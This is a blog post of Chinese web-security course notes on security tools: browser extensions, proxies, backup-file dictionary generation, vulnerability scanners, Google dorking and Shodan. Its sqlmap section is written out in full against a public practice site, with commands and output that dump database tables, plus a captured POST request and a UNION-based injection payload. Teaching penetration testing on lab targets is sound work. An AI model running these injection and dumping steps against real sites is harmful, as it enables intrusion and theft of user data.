web安全[网易白帽子课程笔记+体会]-03web安全工具
web安全-03web安全工具
- 一、浏览器和浏览器拓展初级
- 1、浏览器
- 1.1、浏览器安全特性与设置
- 1.2、开发者工具展示
- 2、浏览器扩展
- 2.1、如何获取插件
- 2.2、firefox常用插件
- 二、代理抓包分析工具
- 1、代理工作原理
- 2、浏览器代理设置
- 3、常用HTTP代理工具
- 三、Web漏洞扫描工具初级
- 1、敏感文件探测入门
- 1.1、 常见敏感文件类型
- 1.2、 敏感文件探测原理
- 1.3、 实战用"御剑"扫描敏感文件
- 1.4、改进思路
- 2、漏洞扫描工具入门
- 2.1、漏洞扫描工具简介
- 2.2、漏洞扫描实践
- 2.3、讨论与改进
- 3、SQL注入漏洞测试入门
- 3.1、sqlmap获取
- 3.2、基本流程及用法
- 3.3、sqlmap实战
- 3.4、注意事项
- 4、在线工具
- 4.1、搜索引擎语法
- 4.2、网络空间搜索
- 4.3、在线web工具
- 四、总结
工欲善其事必先利其器
一、浏览器和浏览器拓展初级
1、浏览器
1.1、浏览器安全特性与设置
不同浏览器安全特性存在差异,同一漏洞触发效果可能不同。漏洞测试常用浏览器的开发者工具、高级设置、隐身模式、查看源码(view-source:url)、查看DOM元素等功能。
1.2、开发者工具展示
2、浏览器扩展
2.1、如何获取插件
firefox的附加组件管理器,chrome的高级设置中的扩展程序等。
2.2、firefox常用插件
firebug 网络与审查页面元素
hackbar 构造数据包
cookie manager 修改cookie值
proxy switcher 更改浏览器代理设置。
主要用于配置浏览器的代理。
二、代理抓包分析工具
1、代理工作原理
代理就像收费站
2、浏览器代理设置
- 浏览器自带的代理设置
- 使用浏览器插件proxy switcher 设置代理
3、常用HTTP代理工具
- burpsuite
- charles
- fiddler
三、Web漏洞扫描工具初级
1、敏感文件探测入门
1.1、 常见敏感文件类型
网站管理后台、数据文件、备份文件、webshell等
1.2、 敏感文件探测原理
猜测文件名,然后根据返回的http状态码判断文件是否存在,200文件存在、301文件发送跳转、404文件不存在。可参看http状态码详解,了解更多http码状态说明。
1.3、 实战用"御剑"扫描敏感文件
扫描 http://testphp.vulnweb.com/ 结果
1.4、改进思路
- 字典不是越大越好,要分类有针对性,提高效率,比如php类的针对php的网站,asp的针对asp的网站,可以使用网站index页面的后缀类型来简单判断网站的脚本类型。可借助python脚本AQQ批量网站工具集之目标网站脚本类型判断,来批量判断。
- 通用字典命中率差,可生成针对性字典,以构造针对性的备份文件的字典为例,python代码如下。
makeBackfilenames.py
#! /usr/bin/env python
#coding=utf-8# 搜集常见的文件名后缀类型,以及固定的一些文件名
suffixlist = ['.rar','.zip','.sql','.gz','.tar','.bz2','.tar.gz','.tar.bz2','.bak','.dat']
keyList = ['install','INSTALL','index','INDEX','ezweb','EZWEB','flashfxp','FLASHFXP']#请输入目标rul
print "Please input the URL:"
url = raw_input()if (url[:5] == 'http:'):url = url[:7].strip() # get right URL
if (url[:6] == 'https:'):url = url[:7].strip() # get right URLnumT = url.find('/')if (numT !=-1):url = url[:numT] #根据URL,推测一些针对性的文件名
num1 = url.find('.')
num2 = url.find('.',num1 + 1)
keyList.append(url[num1 + 1:num2])
keyList.append(url[num1 + 1:num2].upper())
keyList.append(url) #如 www.163.com
keyList.append(url.upper())
keyList.append(url.replace('.','_')) # www_163_com
keyList.append(url.replace('.','_').upper())
keyList.append(url.replace('.','')) #www163com
keyList.append(url.replace('.','').upper())
keyList.append(url[num1 + 1:]) # 163.com
keyList.append(url[num1 + 1:].upper())
keyList.append(url[num1 + 1:].replace('.','_')) # 163_com
keyList.append(url[num1 + 1:].replace('.','_').upper())# 生成字典列表,并写入文件“popBackfiles.txt”
tempList = []for key in keyList:for suff in suffixlist:tempList.append(key+suff)fobj = open("popBackfiles.txt","w")
for each in tempList:each = '/'+eachfobj.write('%s%s' % (each,'\n'))fobj.flush()print 'OK!'
2、漏洞扫描工具入门
2.1、漏洞扫描工具简介
漏洞扫描器是一批安全专家将自己积累的“测试手法”和“测试经验”自动化的产物,是宝贵智慧的结晶。综合性web漏洞扫描器有AWVS、Netsparker、AppScan等。
漏洞扫描器的扫描流程与基本原理如下
其中2、3、4是并行运作的。
2.2、漏洞扫描实践
AWVS扫描结果
2.3、讨论与改进
问题1:使用漏洞扫描工具要明确的问题
1.可能对目标站点误伤,如高流量,请求了危险的功能,如删除数据库等。
2.逻辑漏洞是漏洞扫描的盲区,如订单金额数据篡改漏洞。
问题2:漏洞扫描工具对漏洞的评级不一定准确,因为从技术角度和业务角度,对同一个漏洞的危害程度判断不同。
问题3:漏洞扫描结果的解读和应用
1.漏扫工具的测试用例可能需要调整后才能复现
2.漏扫工具都存在误报和漏报
3.将扫描结果作为人工测试的线索
改进:尽信书则不如无书
3、SQL注入漏洞测试入门
3.1、sqlmap获取
可以通过sqlmap官网下载 http://sqlmap.org/,需要安装好python2.7。
sqlmap的dump文件目录在C:\Users\yourusername\.sqlmap\output\targetwebsite\dump\targetdatabase
3.2、基本流程及用法
小技巧:一般命令行参数,字母缩写前面是一个-,完整单词前面是两个–。
3.3、sqlmap实战
根据漏洞扫描器扫描到的有数据交互功能,且可能存在sql注入的页面,使用sqlmap进行判断,得出artist参数存在sql注入。
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1
使用–users 查看有哪些用户
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --users
使用–dbs 查看有哪些数据库
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
查看其它信息的命令
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db
[18:11:27] [INFO] fetching current user
current user: ‘acuart@localhost’
[18:11:27] [INFO] fetching current database
current database: ‘acuart’
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --tables -D “acuart”
Database: acuart
[8 tables]
±----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
±----------+
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --columns -T"users" -D “acuart”
Database: acuart
Table: users
[8 columns]
±--------±-------------+
| Column | Type |
±--------±-------------+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
±--------±-------------+
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --count -T"users" -D “acuart”
Database: acuart
±------±--------+
| Table | Entries |
±------±--------+
| users | 1 |
±------±--------+
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dump -T"users" -D “acuart”
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: acuart
Table: users
[1 entry]
±-----------------±-----------±---------------------------------±-----±------±-------------±-----------------±--------+
| cc | name | cart | pass | uname | phone | email | address |
±-----------------±-----------±---------------------------------±-----±------±-------------±-----------------±--------+
| 4111111111111111 | h" and 1=1 | 404c1f7fdb7b2bd61bdf5a7da267d9da | test | test | 555-666-0606 | sample@email.tst | nnn |
±-----------------±-----------±---------------------------------±-----±------±-------------±-----------------±--------+
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --count -T “products” -D “acuart”
Database: acuart
±---------±--------+
| Table | Entries |
±---------±--------+
| products | 3 |
±---------±--------+
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dump -T “products” -D “acuart” --start 2 --stop 3
Database: acuart
Table: products
[2 entries]
±—±-------------------------------------------±------±-------------------------------------------±------------------+
| id | name | price | description | rewritename |
±—±-------------------------------------------±------±-------------------------------------------±------------------+
| 2 | Web Camera A4Tech PK-335E | 10 | Web Camera A4Tech PK-335E | web-camera-a4tech |
| 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | Laser Color Printer HP LaserJet M551dn, A4 | color-printer |
±—±-------------------------------------------±------±-------------------------------------------±------------------+
python sqlmap.py -u http://testphp.vulnweb.com/artists.php?artist=1 --dump-all -D “acuart”
dump文件目录内容如下:
5. 以上get方式已经演示完,post方式如下
方法1:首先利用抓包或者漏扫工具,将post方式的数据包保存下来
这里保存为sql_post.txt,内容如下
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Referer: http://testphp.vulnweb.com/login.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1
uname=test&pass=pwd
然后使用如下命令
python sqlmap.py -r “sql_post.txt”
结果如下
POST parameter ‘uname’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 156 HTTP(s) requests:
Parameter: uname (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: uname=-5095’ UNION ALL SELECT NULL,CONCAT(0x71786b7871,0x66556f6e7371706a765652754351474345416c4957724264754b5566755159534f57597670505568,0x7178766b71),NULL,NULL,NULL,NULL,NULL,NULL-- MUFR&pass=pwd
方法2:使用–data参数,将参数样例复制到data参数中即可
使用如下命令
python sqlmap.py -u http://testphp.vulnweb.com/userinfo.php --data=“uname=test&pass=pwd”
结果同方法1。
找到注入点后post和get方法的利用方式相同,此外还有cookie、header等也可能存在sql注入。
3.4、注意事项
以上均是测试环境,展现了完整的从注入点判断到获取数据过程,实际环境中,确定注入点以及基本的信息即可,切不可非法获取数据。
4、在线工具
4.1、搜索引擎语法
百度高级搜索举例
google hack
高级搜索
site搜索指定站点的页面
inurl搜索url中包含指定字符串的网址
intitile搜索网页标题中包含指定字符串的网址
intext搜索站点页面内容中具有关键字内容的网址
filetype搜索特定后缀名的文件
国际版bing,同IP站点的旁站查询功能
4.2、网络空间搜索
网络空间搜索引擎的基本原理:探测/爬取->识别/打标签->存储供检索。
万物互联:个人计算机和服务器,路由器,智能家电,平板电脑,手机,摄像头,工业控制设备等,如果把每一个接入互联网的设备看做一个节点,就构成了我们的网络空间。
撒旦:https://www.shodan.io/
钟馗之眼:https://www.zoomeye.org/
佛法:https://fofa.so/
4.3、在线web工具
https://whatweb.net/
http://www.ipip.net/
https://www.cmd5.net/
http://tool.chinaz.com/
https://www.anquanquan.info/
四、总结
同类工具,精于一,触类旁通。
要善于寻找和分享新的工具。
工具用之正则正,用之邪则邪。
要知其然,更要知其所以然,要思考工具的实现原理及其局限性。
不要依赖工具,要以我为主,为我所有,工具可以提高效率,但是实践中往往要敢于摆脱工具,手工测试。
web安全[网易白帽子课程笔记+体会]-03web安全工具相关推荐
- web安全[网易白帽子课程笔记+体会]-02web安全基础
web安全-02web安全基础 一.无处不在的安全问题 1.钓鱼phishing 2.篡改网页tampering 3.暗链hidden hyperlinks 4.webshell 二.常见Web漏洞解 ...
- 网易白帽子黑客训练营笔记(1)
网易白帽子黑客训练营笔记(1) 文章目录 网易白帽子黑客训练营笔记(1) web介绍 web发展史 web1.0: web2.0: 什么是web安全? web流程 浏览器 web通信 URL URL是 ...
- 网易白帽子黑客训练营笔记(2)
网易白帽子黑客训练营笔记(2) 文章目录 网易白帽子黑客训练营笔记(2) WEB安全实战 安全测试之浏览器入门 安全测试常用功能: 浏览器插件 代理工具介绍 敏感文件探测入门 漏洞扫描工具入门 SQL ...
- 【白帽子学习笔记11】DVWA Brute Force【暴力破解】
[白帽子学习笔记11]DVWA Brute Force Brute Force 就是暴力破解的意思,尝试常用的用户名和必然然后使用工具一个一个的去尝试 LOW级别 通过解析源码我们可以发现代码没有任何 ...
- python白帽子学习笔记(整合)
python白帽子学习笔记(整合) 学习笔记目录 python白帽子学习笔记(整合) 前言 一.基础篇 1.正则表达式 2.列表 3.元组带上了枷锁的列表 4.奇葩的内置方法 5.格式化字符 6.序列 ...
- 【白帽子学习笔记14】SQL注入常用语句
[白帽子学习笔记14]SQL注入常用语句 目前网站中使用的最多的数据库要算是 ACCESS.SQL Server(MSSQL).MySQL 这三个了,所以这里的手工注入,我就以他们三个数据库来分成三 ...
- 网易“白帽子黑客”训练营-视频教程
白帽黑客是指白帽匿名者(white hat hacker),其又称为白帽子,是那些用自己的黑客技术来维护网络关系公平正义的黑客,测试网络和系统的性能来判定它们能够承受入侵的强弱程度. 互联网安全小兵养 ...
- 米斯特WEB安全攻防白帽子培训视频教程 网站安全检测培训教程 第二期
[free] 乌云网已经被封了,这套教程是网络仅有的几套白帽子教程之一,有兴趣的朋友珍惜哦! [/free] 下载地址:百度网盘
- 网易web白帽子学习笔记
部分转载他人 一.web基础知识 1.1.1web介绍 world wide web 万维网 web1.0 个人网站.门户站点 静态页面 web2.0 微博.博客交互式页面 随之而来有一些安全问题: ...
最新文章
- linux的ftp轮询上传文件,Android中实现异步轮询上传文件
- WordPress的插件激活实现
- datatables 展开 折叠_【图说新机】9月折叠屏、屏下摄像头新机同时上市,该怎么选?...
- 1.android体系结构介绍
- adb shell 修改文件名_shell修改文件名(一)
- 腾讯或推动斗鱼虎牙合并;拼多多推出“百亿补贴节”;Electron 9.2.0 发布| 极客头条
- Vue2.0 $set()处理数据更新但视图不更新的问题(给对象添加属性必须用this.$set(this.data,”key”,value’))
- Host '***' is blocked because of many connection errors...
- 【自动驾驶】LQR控制实现轨迹跟踪
- 51cto python数据分析系列课程 55g_Python 3 数据分析与挖掘系列课程完整版
- UIautomator2:APP自动化测试方法与小技巧记录(文末附实用APP测试脚本编写模板)
- 如何注册成为腾讯QQ互联个人开发者
- 人工智能AI工程师学习路线心路历程和总结分享
- linux升级失败无法启动应用程序,Ubuntu升级后无法启动 kernel panic - not syncing
- 忆享科技聚焦|数字经济、网络安全、5.5G、数字火炬手……热点资讯一览
- 必应精美壁纸一键全部下载
- ES 问题 拼音 en ou等词被拆分,导致搜不到
- Android系统OTA升级
- ISP和IAP的一些基本概念
- LTE:信道质量,HARQ的比较